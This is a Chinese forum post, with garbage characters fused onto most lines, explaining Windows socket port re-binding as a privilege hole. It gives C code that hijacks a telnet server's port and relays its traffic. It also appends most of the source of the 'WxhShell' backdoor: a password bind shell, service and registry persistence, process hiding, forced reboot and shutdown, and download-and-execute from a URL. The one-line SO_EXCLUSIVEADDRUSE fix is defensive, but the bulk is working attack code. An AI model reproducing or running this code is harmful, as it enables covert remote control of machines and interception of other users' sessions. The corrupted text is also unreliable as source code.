在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@6o]chJo s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,)~E>[=+ (Y(E% saddr.sin_family = AF_INET;
@;wzsh >o dV 8iwI saddr.sin_addr.s_addr = htonl(INADDR_ANY);
p$;I' FbACTeB bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)R{UXk3q} j;K#] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
-Cid3~mX3 +Zk,2ri 这意味着什么?意味着可以进行如下的攻击:
ep(g`e 0"[`>K~7a8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
5+X_4lEJK( !.fw,!}hOD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`"k9wC1 6@4n'w{" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`#IcxweA |dadH7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
V:bV ?lt |Y_
- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
`0#H]=$2h :46h+?
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0_eQlatb !F!3Q4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&S74mV ZI ?W5ISdg #include
f3WSa&eF #include
4}KU>9YRA #include
n"aCt%v #include
wX1ig DWORD WINAPI ClientThread(LPVOID lpParam);
fMK#x\.4 int main()
H l j6$%. {
qX>Q+_^ WORD wVersionRequested;
#WE]`zd DWORD ret;
(*l2('e#@ WSADATA wsaData;
EY>8O+ BOOL val;
`{FwTZ=6{ SOCKADDR_IN saddr;
INMP"1 SOCKADDR_IN scaddr;
,=[*Lo>O int err;
$R{8z-,Q SOCKET s;
g8pm2o@S SOCKET sc;
L*]E`Xxd9 int caddsize;
dGgP_S HANDLE mt;
F}ukZ
DB DWORD tid;
HW7FP]NH wVersionRequested = MAKEWORD( 2, 2 );
:Eh'( err = WSAStartup( wVersionRequested, &wsaData );
F'J [y"~_ if ( err != 0 ) {
'zgvQMu printf("error!WSAStartup failed!\n");
6*1$8G`$8, return -1;
I^Qx/uTKw }
]jM^Z.mI+ saddr.sin_family = AF_INET;
J+<p+(^*v )wf\F6jN //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
q"aPJ0ni' QV,E#(\5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
nx4P^PC saddr.sin_port = htons(23);
tGqCt9;< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{^RG%
&S {
w4MwD?i]R printf("error!socket failed!\n");
Nh)[rx return -1;
ekzjF\!y }
Go+[uY^ val = TRUE;
}_4 6y*o8 //SO_REUSEADDR选项就是可以实现端口重绑定的
I
8Y*@$h if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
-Fwh3F4g {
?J|4l[x printf("error!setsockopt failed!\n");
6`puTL? return -1;
+ Oobb-v }
QXk"?yT`E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
~y\:iL//E //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+*EKR //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
U|fTb0fB , Fytk34 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
EZ% .M*? {
No W!xLI ret=GetLastError();
B/YcSEY; printf("error!bind failed!\n");
3;BvnD7 return -1;
VbxAd 2') }
jL4>A$ listen(s,2);
By)3*<5a_ while(1)
]O@"\_} {
+0#JnqH" caddsize = sizeof(scaddr);
Hql5oA //接受连接请求
$N.`)S< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
tjb/[RQ if(sc!=INVALID_SOCKET)
aV|k}H{wt {
.Dv=pB,u mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
3&J&^O if(mt==NULL)
VJ1*|r, {
anx&Xj|=.F printf("Thread Creat Failed!\n");
Q#rt<S1zW break;
IrO+5 w }
M]ap: }
9.Ap~Ay. CloseHandle(mt);
Kx]> fHK }
#Go(tS~o closesocket(s);
W]LQ &f WSACleanup();
IvSn>o return 0;
FX 1C
e }
dIK{MA DWORD WINAPI ClientThread(LPVOID lpParam)
+{&+L0DfH~ {
G `Izf1B`I SOCKET ss = (SOCKET)lpParam;
|9]PtgQv7 SOCKET sc;
?N#[<kd unsigned char buf[4096];
-931'W[s, SOCKADDR_IN saddr;
|e"/Mf[ long num;
i/:5jI| DWORD val;
+v1-.z DWORD ret;
@W [{2d //如果是隐藏端口应用的话,可以在此处加一些判断
i_YW;x //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}vsO^4Sjc saddr.sin_family = AF_INET;
)H+h;U saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
4I.1D2 1jA saddr.sin_port = htons(23);
-h9#G{2W[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
83?1<v0% {
X<K9L7/* printf("error!socket failed!\n");
^n71'MW return -1;
<[8@5 ?&& }
"
~n3iNkP val = 100;
=L16hDk o if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xvO 3BU~2 {
_>Ln@ ret = GetLastError();
rys<-i( return -1;
/d]~ly
@uI }
3jg'1^c if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
y1Z1=U*! {
8}K"IW ret = GetLastError();
qp1\I$Y return -1;
SEU\}Ni{ }
K!7q!%Ju if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
O"QHb|j {
/yt7#!tm+ printf("error!socket connect failed!\n");
{tmKCG closesocket(sc);
d"!yD/RD closesocket(ss);
GRQ_+K return -1;
B<C&ay }
e7's)C>/' while(1)
Ut':$l= {
#jgqkMOd,j //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?+Hp?i$1 //如果是嗅探内容的话,可以再此处进行内容分析和记录
:B+Rg cqi //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
n`QO(pZ6+ num = recv(ss,buf,4096,0);
,M{Q}:$+4 if(num>0)
U%n,XOJ send(sc,buf,num,0);
yYB NH1 else if(num==0)
l-MxLcz break;
F1\`l{B,\ num = recv(sc,buf,4096,0);
T(&kXMaB if(num>0)
BP:(IP!& send(ss,buf,num,0);
CX.SYr&!R else if(num==0)
SLg+H break;
Q-jf8A] }
hLSTSD} closesocket(ss);
G#'Q~N closesocket(sc);
jF4csO=E return 0 ;
(>mi!: }
?^Pq/VtZ KZW'O
b>[ Y.(v{l ==========================================================
y]<#%Fh 99a\MH`^ 下边附上一个代码,,WXhSHELL
hRRkFz/0& O%prD}x ==========================================================
NA=#>f+U% x!`b'U\ #include "stdafx.h"
A1=_nt)5 =hPG_4# #include <stdio.h>
5^b i
7J #include <string.h>
[u7 vY@ #include <windows.h>
PqVW'FYe #include <winsock2.h>
Y>G*'[U #include <winsvc.h>
/ =-6:L #include <urlmon.h>
V0s,f.a 8s~\iuk #pragma comment (lib, "Ws2_32.lib")
Y+5"uq<' #pragma comment (lib, "urlmon.lib")
.<HC[ls 487YaioB$ #define MAX_USER 100 // 最大客户端连接数
g;l'VA3v #define BUF_SOCK 200 // sock buffer
"bPCOJ[v9 #define KEY_BUFF 255 // 输入 buffer
XzW7eO,A .uBO #define REBOOT 0 // 重启
5Yn{?r\#F #define SHUTDOWN 1 // 关机
ka!Bmv) -}E)M}W #define DEF_PORT 5000 // 监听端口
Ri;=aZ5m l 4!kxXf-< #define REG_LEN 16 // 注册表键长度
[7'#~[a~ #define SVC_LEN 80 // NT服务名长度
@81-kdTx sRi?]9JIl // 从dll定义API
_O"L1Let typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
C1KfXC*|L typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Q
js2hj-$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Sf=F cb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
O@nqHZ E(%
XVr0W // wxhshell配置信息
AfUZO^< struct WSCFG {
qQL.c+%L int ws_port; // 监听端口
5dqQws-,?1 char ws_passstr[REG_LEN]; // 口令
8^8>qSD1 int ws_autoins; // 安装标记, 1=yes 0=no
A%h~Z
a char ws_regname[REG_LEN]; // 注册表键名
]7v81G5E char ws_svcname[REG_LEN]; // 服务名
Wgav>7!9 char ws_svcdisp[SVC_LEN]; // 服务显示名
ax4*xxU char ws_svcdesc[SVC_LEN]; // 服务描述信息
;CA ?eI char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#FEa 5 int ws_downexe; // 下载执行标记, 1=yes 0=no
UOw~rK char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
jY rym- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
\{[D|_
bo&\3 };
`0Yt1Z& C%0<1mp // default Wxhshell configuration
sS-W~u|C struct WSCFG wscfg={DEF_PORT,
/%62X{=>; "xuhuanlingzhe",
a#^_"GX 1,
*e%Dg{_ "Wxhshell",
=E&2 4 "Wxhshell",
"!xvpsy "WxhShell Service",
$U ~=.!_du "Wrsky Windows CmdShell Service",
UHr{ "Please Input Your Password: ",
&}>|5>cJu 1,
ri"?,}( "
http://www.wrsky.com/wxhshell.exe",
-T 2~W! "Wxhshell.exe"
]vRVo6@ k };
|^Y*~d<H 3aEt>x // 消息定义模块
sk~ za char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?hxK/%) char *msg_ws_prompt="\n\r? for help\n\r#>";
TG4\%S$w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
YfTd char *msg_ws_ext="\n\rExit.";
~^^!"- char *msg_ws_end="\n\rQuit.";
Rl y jOf{0 char *msg_ws_boot="\n\rReboot...";
l?})_1v,R char *msg_ws_poff="\n\rShutdown...";
|.y>[+Qb* char *msg_ws_down="\n\rSave to ";
L& I`
# 4\&H?:c. char *msg_ws_err="\n\rErr!";
:/>7$)+ char *msg_ws_ok="\n\rOK!";
>BJ2v=RA 3?.6K0L char ExeFile[MAX_PATH];
^Yf3"D?& int nUser = 0;
w/qQ(]n8 HANDLE handles[MAX_USER];
uG2Xkj int OsIsNt;
ARmu{cL BXT80a\ SERVICE_STATUS serviceStatus;
2~#ZO?jE6 SERVICE_STATUS_HANDLE hServiceStatusHandle;
]&&I|K_ 8o! // 函数声明
)WaX2uDA? int Install(void);
_u#/u2< int Uninstall(void);
Qe7"Z int DownloadFile(char *sURL, SOCKET wsh);
<dq,y> int Boot(int flag);
$/4Wod*l void HideProc(void);
'wCS6_K int GetOsVer(void);
-$AjD?; int Wxhshell(SOCKET wsl);
0\V\qAk void TalkWithClient(void *cs);
DfAiL( int CmdShell(SOCKET sock);
oN.Mra]D int StartFromService(void);
(xucZ int StartWxhshell(LPSTR lpCmdLine);
&W&7bZ$; +`Q
PBj^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
CHQ{+?# VOID WINAPI NTServiceHandler( DWORD fdwControl );
|hu"5* 2v"wWap-+ // 数据结构和表定义
(nkUeQQN SERVICE_TABLE_ENTRY DispatchTable[] =
_pY {
c80
}1 {wscfg.ws_svcname, NTServiceMain},
zzulVj* {NULL, NULL}
EZ:I$X };
d [\>'> 1joc<EI // 自我安装
|M[v493\ int Install(void)
WpZy](, {
6b- char svExeFile[MAX_PATH];
@#bBs9@gv HKEY key;
:GN)7|: strcpy(svExeFile,ExeFile);
d[~au=b ^AovkK(p // 如果是win9x系统,修改注册表设为自启动
0lLr[ if(!OsIsNt) {
N%|^;4}k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
fMWXo)rzj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(1j(*
?2 RegCloseKey(key);
@/_XS4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hXV4$Dai RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/V#MLPA RegCloseKey(key);
5A0KV7N5 return 0;
nG&w0de<> }
T+&x{+gZ }
h1Ke$#$6 }
sq8 tv] else {
uf{SxEa '0\0SL // 如果是NT以上系统,安装为系统服务
5pNvzw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
OGSEvfW if (schSCManager!=0)
UMHuIA:%U {
1G e)p4 SC_HANDLE schService = CreateService
sRkz
WMl (
o'x_g^ Y schSCManager,
n r'YWW wscfg.ws_svcname,
|YG)NO wscfg.ws_svcdisp,
rXHHD#\oF SERVICE_ALL_ACCESS,
X+(aQ
>y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
S&4w`hdD>~ SERVICE_AUTO_START,
GQYtH#
SERVICE_ERROR_NORMAL,
kw*Cr/'* svExeFile,
'^P*F9 NULL,
LM'*OtpDG NULL,
$5 q{vy NULL,
?X8K$g NULL,
^L*VW
gi9 NULL
(P]^8qc );
Ymrpf if (schService!=0)
L<[,7V {
0C9QAJa CloseServiceHandle(schService);
kVB}r.NHP CloseServiceHandle(schSCManager);
PuUon6bZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
D7Rbho< strcat(svExeFile,wscfg.ws_svcname);
a$+e8> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
,b2O^tJF# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
p ] $ RegCloseKey(key);
b&|YQW}~ return 0;
&9jUf:g J0 }
+e{djp@m }
;GSfN CloseServiceHandle(schSCManager);
:5q*46n }
@; j0c_^"! }
zm_hLk E|8s2t return 1;
I'6ed`| }
\nWzn4f ]aL [ // 自我卸载
#!<+:y'S? int Uninstall(void)
%r}KvJgd {
V,"AG HKEY key;
'3Lx!pMhN %n V@'3EI if(!OsIsNt) {
r* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
sDh6 Uk RegDeleteValue(key,wscfg.ws_regname);
v J,xz*rc` RegCloseKey(key);
J&]
XLr.j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
['9OGV\ RegDeleteValue(key,wscfg.ws_regname);
iz,q8}/( RegCloseKey(key);
c_DB^M!h return 0;
K{[Fa,]' }
>Y*iy }
SqT"/e]b' }
@Tj
6!v else {
XQ|j5] QdG?"Bdt2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
X\^3,k." if (schSCManager!=0)
< 8W:ij.` {
A%sxMA!K, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Zj /H3,7 if (schService!=0)
y(p:)Iv {
"b+3 &i| if(DeleteService(schService)!=0) {
9iN!hy[ CloseServiceHandle(schService);
jy)9EU= CloseServiceHandle(schSCManager);
hTNYjXj return 0;
7UEy L
}N }
1J!tcj1( CloseServiceHandle(schService);
@_tA"E }
D4x' CloseServiceHandle(schSCManager);
dT0z^SG }
Zqe[2() }
ph|2lLZ ph$&f0A6Xc return 1;
/[)P^L` }
|RbUmuj "~,(Xa3x // 从指定url下载文件
>5z`SZf int DownloadFile(char *sURL, SOCKET wsh)
g275{2G9 {
K+aJ`V HRESULT hr;
Q*{ H] char seps[]= "/";
a1Y _0 char *token;
@+Anv~B. char *file;
W3{5Do.h char myURL[MAX_PATH];
oR%E_g?mI~ char myFILE[MAX_PATH];
)F9%^a( mrBhvp"" strcpy(myURL,sURL);
[4(A458H token=strtok(myURL,seps);
_ER
cmP while(token!=NULL)
0aq-drl5\ {
t)kr/Z*p\ file=token;
)~o`QM+ token=strtok(NULL,seps);
E(K$|k_> }
'5+, lRu I{P$B- GetCurrentDirectory(MAX_PATH,myFILE);
-B++V strcat(myFILE, "\\");
Z;> aW;Wt strcat(myFILE, file);
BDm H^`V send(wsh,myFILE,strlen(myFILE),0);
#| e5 send(wsh,"...",3,0);
K|' ]Hje\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
qm&53 if(hr==S_OK)
$EHn;~w T return 0;
Sv]"Y/N else
Z(clw return 1;
N`mC_) $F'~^2 }
ok=E/77` nd9-3W // 系统电源模块
74!JPOpQH int Boot(int flag)
uX5B>32 {
x+j/v5 HANDLE hToken;
5D@Q1 TOKEN_PRIVILEGES tkp;
Q?'W >^*J &I">{J< if(OsIsNt) {
oGjYCVc OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Y&Nv>o_}5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Z-r0
D tkp.PrivilegeCount = 1;
#T#FUI1p tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ynz5Dy.d; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
;]ZHD$g if(flag==REBOOT) {
bsS|!KT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
E52:c]<'m return 0;
ZCq\Zk1O& }
,}xC) > else {
5Szo5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
HrcnyQ`Q0 return 0;
l~>rpG }
gA8u E }
*h8XbBZH else {
P6Ol+SI#m if(flag==REBOOT) {
lu(Omds+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
+/^q"/f F return 0;
&b:Zln.j }
#B{F{,vlu, else {
=$`")3y3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
2/W0y!qh1 return 0;
e&I.kC"j6 }
R~u7;Wv }
:=KGQ3V~eK ry=[:\Z~ return 1;
}T(q "Vf~ }
T%b^|="@ fN/KXdAy& // win9x进程隐藏模块
]?5@ObG void HideProc(void)
yOm6HA``hT {
/IR5[67 [&59n,R` HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
iw6M3g# if ( hKernel != NULL )
+c2>j8e6 {
J~ rC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
W`rE\P ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
-CNv=vj 3 FreeLibrary(hKernel);
6#-; ,2i }
S`PSFetC Nr7.BDA return;
l`G:@}P>G }
oieLh"$ ^hTJp{ // 获取操作系统版本
YXOD
fd%L int GetOsVer(void)
tg4&j$ {
%bETr"Xom
OSVERSIONINFO winfo;
)%W2XvG winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
8U$UI GetVersionEx(&winfo);
jWjK -q@Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}|,\?7, return 1;
\YyU5f7'; else
%=>xzP(z return 0;
U-:Z^+Y }
YS6az0ie PhL5EYn // 客户端句柄模块
2]KPW*V int Wxhshell(SOCKET wsl)
:D7!6}% {
DO*C] SOCKET wsh;
Icb;Yzt struct sockaddr_in client;
9Ei#t FMc DWORD myID;
nmAXU!t' ^OsUWhkV while(nUser<MAX_USER)
M0\[hps~X {
BuO J0$ int nSize=sizeof(client);
^ @cX0_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9%veUvY if(wsh==INVALID_SOCKET) return 1;
%zVv3p: D($UbT-v handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*m/u 3.\ if(handles[nUser]==0)
PhdL@Mr closesocket(wsh);
BAed [ else
_Xe< JJvq nUser++;
^W*)3;5 }
5.;$9~d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?XrTZ{5' KPrxw }P return 0;
CawVC*b3 }
X~b+LG/ 8hV:bz" // 关闭 socket
k !r z8S" void CloseIt(SOCKET wsh)
"lAS
<dq {
FV,SA3 closesocket(wsh);
kKO]q#9sO nUser--;
61 |xv_/ ExitThread(0);
B*Xh$R }
QR8Q10 !y0
O['7 // 客户端请求句柄
P_%l}% void TalkWithClient(void *cs)
~Dh}E9E: {
|EA1+I.&x %ua5T9H Z SOCKET wsh=(SOCKET)cs;
$^GnY7$!> char pwd[SVC_LEN];
8`<GplO char cmd[KEY_BUFF];
:RG6gvz char chr[1];
$9$NX/P int i,j;
q|\Cp [X\2U4 while (nUser < MAX_USER) {
b&&'b) w%na n= if(wscfg.ws_passstr) {
cE?J]5#^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
yx4c+(J^8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cV,URUD //ZeroMemory(pwd,KEY_BUFF);
3"RZiOyv i=0;
G(e?]{( while(i<SVC_LEN) {
g_=ZcGC <Z_`^~! // 设置超时
xJlq2cK fd_set FdRead;
'!GI:U+g struct timeval TimeOut;
[Y+bW#' FD_ZERO(&FdRead);
eGg#=l= FD_SET(wsh,&FdRead);
1Tkz! TimeOut.tv_sec=8;
R'U(]&e.j TimeOut.tv_usec=0;
1k(*o.6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
m\Nc}P_"p if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=uEhxsj)S M3;B]iRQD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
OW^7aw(N6 pwd
=chr[0]; &-tf/qJ
if(chr[0]==0xd || chr[0]==0xa) { zc5_;!t
pwd=0; =$J2
break; > ^}z
} r6<}S(
i++; \U8Vsx1tl
} D:0PppE
'-qc\6UY
// 如果是非法用户,关闭 socket ':@qE\(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UNae&Zir
} 2sH5<5G'
=<icHt6s
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N\$6R-L
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (w fZ!
=X B)sC%
while(1) { ce\-oT
bv0 %{u&
ZeroMemory(cmd,KEY_BUFF); I
Cs1=
vhW'2<(
// 自动支持客户端 telnet标准 ?*0kQo'
j=0; 7y3; F7V
while(j<KEY_BUFF) { 9yPB)&"EF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =T`-h"E~@
cmd[j]=chr[0]; *bK@ A2`
if(chr[0]==0xa || chr[0]==0xd) { kzT'
cmd[j]=0; *G4;
break; 0v?,:]A0E
} ?aui q
j++; 8jk*N
} J\BdC];
=W=%!A\g
// 下载文件 _!ed.h.r:
if(strstr(cmd,"http://")) { ;K!Or
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z:{Z&HQC
if(DownloadFile(cmd,wsh)) Z^'; xn
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
AHb
else K.SHY!U}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l/5/|UE9
} `N0E;=g
else { ~czt=
DDEn63{
switch(cmd[0]) { [iD!!{6+
iGIaZ!j aW
// 帮助 Q\Eq(2p
case '?': { ,&$Y2+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bPEAG=l "-
break; Fei$94a
} C/JFg-r
// 安装 ZJqmD
case 'i': { (~~=<0S
if(Install()) //(c 1/s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .6*A~%-=[d
else v3B
^d}+.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~H.;pJ{ 8
break; 9b0Z
Ey{
} NZ#z{JI=+
// 卸载 e)M1$
case 'r': { MD,-<X)Qy
if(Uninstall()) `^/Q"zH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U"Y$7~
else QB7<$Bp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z'm;H{xf
break; 5BZ5Gl3
} d@<XR~);
// 显示 wxhshell 所在路径 Ok@5`?08
case 'p': { R*U>T$
char svExeFile[MAX_PATH];
Z-:`{dns/
strcpy(svExeFile,"\n\r"); F{[Q
strcat(svExeFile,ExeFile); 8[k-8h|
send(wsh,svExeFile,strlen(svExeFile),0); Gs%kqD{=
break; iR9iI!+;N
} B0:O]Ax6.^
// 重启 KLk37IY2\
case 'b': { #S"=)BZ8L
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a?;{0I:Ln
if(Boot(REBOOT)) PrCq
JY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pd|s7
else { 9Ah4N2nL-b
closesocket(wsh); q#Bdq8
ExitThread(0); nm)F tX|A
} CAX U
#
break; ("{'],>
} *(rq AB0~
// 关机 SF6n06UZu
case 'd': { z)ydQw>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |qBo*OcO
if(Boot(SHUTDOWN)) ~9{.!7KPc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vrnx#j-U
else { (efH>oY[
closesocket(wsh); TCVJ[LbJ
ExitThread(0); |Bjb
} ?h{ &
break; ;RR)C@n1
} 8WAg{lVs
// 获取shell M*x_1h5n
case 's': { 'F@'4[uda
CmdShell(wsh); *StJ5c_kg2
closesocket(wsh); U@9n7F
ExitThread(0); 6 R!0v8
break; uB%`Bx'OW
} # RtrHm
// 退出 =0Nd\
case 'x': { 'b-}KDP
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EprgLZ1B
CloseIt(wsh); $+tkBM
break; rIXAn4,dTv
} P63f0F-G
// 离开 O @l `D`
case 'q': { Z@1rs#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3+)i23[4=\
closesocket(wsh); z=!xN5
WSACleanup(); (*|hlD~
exit(1); k@[Bx>
break; q|S }5
} =4?m>v,re
} J<'4(}^|
} [g<JP~4]
/vBp Rm
// 提示信息 +Ta7b)
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6%)dsTAB
} ;lP)
} 1:8ZS
"]sr4Jg=
return; (`T:b1
} o0AREZ+I
<h(tW
// shell模块句柄 hse$M\5
int CmdShell(SOCKET sock) myH#.$=A
{ gzeG5p
STARTUPINFO si; w*
v%S
ZeroMemory(&si,sizeof(si)); IXg0g<JZ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4PNl3N3,n
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xK
/NzVt
PROCESS_INFORMATION ProcessInfo; "S1+mSW>
char cmdline[]="cmd"; 18F7;d N8
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lrK5q
return 0; ^"l4
} I"r*p?
uA,K}sNRZ
// 自身启动模式 dqcfs/XhP
int StartFromService(void) s@0#w*N
{ Qd$d*mwg:
typedef struct PX+$Us
{ z1s9[5
DWORD ExitStatus; U)N;=gr\
DWORD PebBaseAddress; rNdap*.
DWORD AffinityMask; B+,Z 3*
DWORD BasePriority; 41$7P[M;
ULONG UniqueProcessId; kZfO`BVL
ULONG InheritedFromUniqueProcessId; <wa}A!fu
} PROCESS_BASIC_INFORMATION; iB{O"l@w
i,,U D
